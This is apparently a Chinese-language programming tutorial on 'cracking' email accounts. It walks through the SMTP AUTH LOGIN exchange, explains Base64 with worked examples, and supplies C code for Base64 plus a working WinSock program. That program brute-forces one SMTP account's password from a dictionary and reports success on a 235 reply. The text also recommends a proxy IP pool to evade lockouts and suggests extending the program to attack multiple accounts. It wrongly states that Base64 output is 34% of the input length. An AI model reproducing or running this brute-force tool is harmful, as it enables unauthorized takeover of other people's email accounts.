|
原文链接:网络安全编程:邮箱破解
收发电子邮件经常使用的协议有SMTP协议和POP3协议,SMTP协议主要用于邮件的发送,而POP3协议主要用于邮件的接收。本文介绍通过SMTP协议来完成对电子邮箱的破解。
1. SMTP的手工模拟
SMTP(Simple Mail Transfer Protocol)即简单邮件传输协议,它是基于TCP协议邮件传输协议,它主要用于邮件的发送,它的TCP端口号是25。这里通过一次简单的手工模拟来简单地介绍STMP的登录过程。
在进行模拟之前,需要准备一台已经注册过账号的SMTP服务器,网易、腾讯的邮箱都支持SMTP服务。这里,随便使用了一台SMTP服务器,模拟过程如图1所示。
图1 SMTP登录过程
在登录的过程中如果看到235,那么说明登录成功了。那么,我们来分析一下上面的步骤。
首先,需要使用telnet来登录smtp服务器,比如telnet smtp.xxx.com 25,也就是连接×××的smtp服务器地址,指定端口号为25号端口。
接着,输入HELO smtp.×××.com,该命令标识发件人的身份。
再下来输入auth login用来告诉服务器要进行身份的验证了,当输入auth login后,服务器会返回334,334后面的一串字符是经过base64编码的字符串,将其解密后的内容是“Username:”。
在此处输入经过base64编码的“用户名”即可。当输入用户名回车后,会接着返回一个334,334后面的仍然是一串经过base64编码的字符串,将其解密后的内容是“Password:”。
在Password后面输入经过base64编码的“密码”即可。此时,如果用户名和密码正确的话,那么就会返回235,表示登录成功。
对于模拟登录而言,掌握到这一步就已经足够了。
在进行测试时,如果手头没有进行字符串转换的base64编码工具的话,可以在搜索引擎中搜索“base64编码”,就会有许多的在线base64编码工具的。
2. 邮箱的破解
有了上面的关于SMTP协议登录的步骤以后,完全可以使用WinSock来实现邮箱密码的破解。要破解邮箱密码需要准备四个部分,首先是破解程序,然后是字典,还有一个就是代理IP地址池。破解程序是由我们自己完成的程序,字典是用来测试的各种密码,代理IP地址池主要是为了避免邮箱地址的服务器设置了登录失败的次数,在尝试登录失败N次以后可能会锁定IP地址,有的甚至会锁定账户,这些属于服务器配置上的安全策略。我们的主要任务是完成破解程序的编写,至于其他的就不多考虑了。
对于自己写程序,也需要考虑两方面,一方面就是用WinSock来进行与SMTP服务器的通信,另一方面是如何将用户名或密码转换为base64编码。
(1)base64编码相关代码
在邮件的传输过程中,为了提高传输抗干扰性或出于安全性的考虑,会对邮件进行一定的编码。最常见的编码方式即为Base64编码。它的编码和解码算法都是很容易的,编码后的长度是编码前长度的34%。
它是一种编码算法,也有人称为Base64加密,其实它并不是加密算法,毕竟没有密钥,只是把字符的编码格式进行了重新编排。
Base64的编码规则是,在编码时,采用特定的65个字符,可以用6比特组成用来表示64个字符,第65个字符是“=”,它被用来标出一个特别的处理过程。该编码采用24比特作为一个输入组,输出为4个编码字符,这个24比特是由3个8比特按从左往右组成的,被分为4组,每组就是6比特,在其中每组均添加2个0比特,这样就组成了一个数字,这个数字处于0到63之间。在Base64字符表中,可以根据该数字查到其对应的字符。Base64字符表如表1所示。按这种编码组成的编码流必须严格按照一定的顺序(从左往右的顺序),否则就没有任何意义了(编码不符合规范当然没有意义了)。
表1 Base64编码表
由原字符组合成的总比特数目不一定能被正好分组,在最后用“=”标注。举例说明吧。
把“UPX”三个字符转换成Base64编码,编码过程如下。
把UPX三个字符转换成二进制为“01010101 01010000 01011000”,将3个8位的二进制重新组合成4个6位的二进制为“010101 010101 000001 011000”,将4个6位的二进制数转换成4个十进制数为“21 21 1 24”,查表值对应的字符是“VVBY”。则说明“UPX”进行Base64编码后为“VVBY”。
把“MSVC”四个字符转换成二进制为“01001101 01010011 01010110 01000011”,将4个8位的二进制重新组合成6个6位的二进制为“010011 010101 001101 010110 010000 11”,将6个6位的二进制按照4个一组可以分为两组,分别是“010011 010101 001101 010110”和“010000 11”,第一组转换为十进制后为“19 21 13 22”,按照Base64编码表查表为“TVNW”,第二组转换为十进制后为“16 3”,按照Base64编码表查表为“QD”,但是要求4个一组,这里不足4个,则用“=”补足,那么第二组用Base64编码后为“QD==”。因此“MSVC”用Base64编码后为“TVNWQD==”。
Base64编码和解码的代码如下:
- static const char *codes =
- "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
- static const unsigned char map[256] = {
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 253, 255,
- 255, 253, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 253, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,
- 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255,
- 255, 254, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6,
- 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,
- 19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,
- 255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36,
- 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48,
- 49, 50, 51, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
- 255, 255, 255, 255 };
- int base64_encode(const unsigned char *in, unsigned long len,unsigned char *out)
- {
- unsigned long i, len2, leven;
- unsigned char *p;
- /* valid output size ? */
- len2 = 4 * ((len + 2) / 3);
- p = out;
- leven = 3*(len / 3);
- for (i = 0; i < leven; i += 3) {
- *p++ = codes[in[0] >> 2];
- *p++ = codes[((in[0] & 3) << 4) + (in[1] >> 4)];
- *p++ = codes[((in[1] & 0xf) << 2) + (in[2] >> 6)];
- *p++ = codes[in[2] & 0x3f];
- in += 3;
- }
- /* Pad it if necessary... */
- if (i < len) {
- unsigned a = in[0];
- unsigned b = (i+1 < len) ? in[1] : 0;
- unsigned c = 0;
- *p++ = codes[a >> 2];
- *p++ = codes[((a & 3) << 4) + (b >> 4)];
- *p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';
- *p++ = '=';
- }
- /* append a NULL byte */
- *p = '\0';
- return p - out;
- }
- int base64_decode(const unsigned char *in, unsigned char *out)
- {
- unsigned long t, x, y, z;
- unsigned char c;
- int g = 3;
- for (x = y = z = t = 0; in[x]!=0;) {
- c = map[in[x++]];
- if (c == 255) return -1;
- if (c == 253) continue;
- if (c == 254) { c = 0; g--; }
- t = (t<<6)|c;
- if (++y == 4) {
- // if (z + g > *outlen) { return CRYPT_BUFFER_OVERFLOW; }
- out[z++] = (unsigned char)((t>>16)&255);
- if (g > 1) out[z++] = (unsigned char)((t>>8)&255);
- if (g > 2) out[z++] = (unsigned char)(t&255);
- y = t = 0;
- }
- }
- return z;
- }
复制代码
上面给出了关于Base64算法编码与解码的代码,在使用时直接进行调用即可。
(2)破解程序相关代码破解简单的流程就是读字典中的密码、创建socket、与SMTP服务器进行通信,对返回的结果进行判断,当判断找到“235”时则认为成功,输出尝试的密码;如果没有找到“235”则继续读取字典中的密码重复前面的步骤。这就是一个破解某个指定邮箱账号的简单思路。具体代码如下:
- // 模拟一串字典
- char *dict[5] = {"12345", "123456", "12345678", "111", "22222"};
- int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
- {
- int nRetCode = 0;
- HMODULE hModule = ::GetModuleHandle(NULL);
- if (hModule != NULL)
- {
- // 初始化 MFC 并在失败时显示错误
- if (!AfxWinInit(hModule, NULL, ::GetCommandLine(), 0))
- {
- // TODO: 更改错误代码以符合您的需要
- _tprintf(_T("错误: MFC 初始化失败\n"));
- nRetCode = 1;
- }
- else
- {
- // TODO: 在此处为应用程序的行为编写代码。
- }
- }
- else
- {
- // TODO: 更改错误代码以符合您的需要
- _tprintf(_T("错误: GetModuleHandle 失败\n"));
- nRetCode = 1;
- }
- // 初始化 WinSock
- WSADATA wsaData = { 0 };
- WSAStartup(MAKEWORD(2, 2), &wsaData);
- // 循环读取字典
- for ( int i = 0; i <= 4; i ++ )
- {
- char in[30] = { 0 };
- char out[MAXBYTE] = { 0 };
- SOCKET s = socket(PF_INET, SOCK_STREAM, 0);
- sockaddr_in saddr = { 0 };
- saddr.sin_family = AF_INET;
- // 连接 SMTP 服务器
- saddr.sin_addr.S_un.S_addr = inet_addr("xxx.xxx.xxx.xxx");
- // 连接 SMTP 服务的端口号
- saddr.sin_port = htons(25);
- // 发送/接收通信数据的缓冲区
- char szBuff[MAX_PATH] = { 0 };
- int nRet = connect(s, (SOCKADDR*)&saddr, sizeof(saddr));
- recv(s, szBuff, MAXBYTE, 0);
- printf("%s \r\n", szBuff);
- lstrcpy(szBuff, "auth login\r\n");
- send(s, szBuff, strlen(szBuff), 0);
- printf("%s \r\n", szBuff);
- recv(s, szBuff, MAXBYTE, 0);
- printf("%s \r\n", szBuff);
- // 这里的 xxx 替换为要破解的 SMTP 用户名
- lstrcpy(in, "xxx");
- base64_encode((const unsigned char *)in, lstrlen(in), (unsigned char *)out);
- lstrcpy(szBuff, out);
- lstrcat(szBuff, "\r\n");
- send(s, szBuff, strlen(szBuff), 0);
- printf("%s \r\n", szBuff);
- recv(s, szBuff, MAXBYTE, 0);
- printf("%s \r\n", szBuff);
- lstrcpy(in, (LPCSTR)(*(dict + i)));
- base64_encode((const unsigned char *)in, lstrlen(in), (unsigned char *)out);
- lstrcpy(szBuff, out);
- lstrcat(szBuff, "\r\n");
- send(s, szBuff, strlen(szBuff), 0);
- printf("%s \r\n", szBuff);
- recv(s, szBuff, MAXBYTE, 0);
- printf("%s \r\n", szBuff);
- if ( strstr(szBuff, "235") )
- {
- printf("Success \r\n");
- printf("%s\r\n", (char *)(*(dict + i)));
- closesocket(s);
- break;
- }
- else
- {
- printf("Faild \r\n");
- }
- closesocket(s);
- }
- WSACleanup();
- return nRetCode;
- }
复制代码
该代码是控制台下的MFC工程,请大家建立相关工程然后编译连接源码后测试效果。该程序是对单一SMTP账号的破解,运行结果如图2所示。
图2 SMTP破解程序运行结果
图2就是程序运行后的结果,本程序只针对一个特定的SMTP账号进行破解,大家可以自行修改为能够破解多个账号的程序。
|
|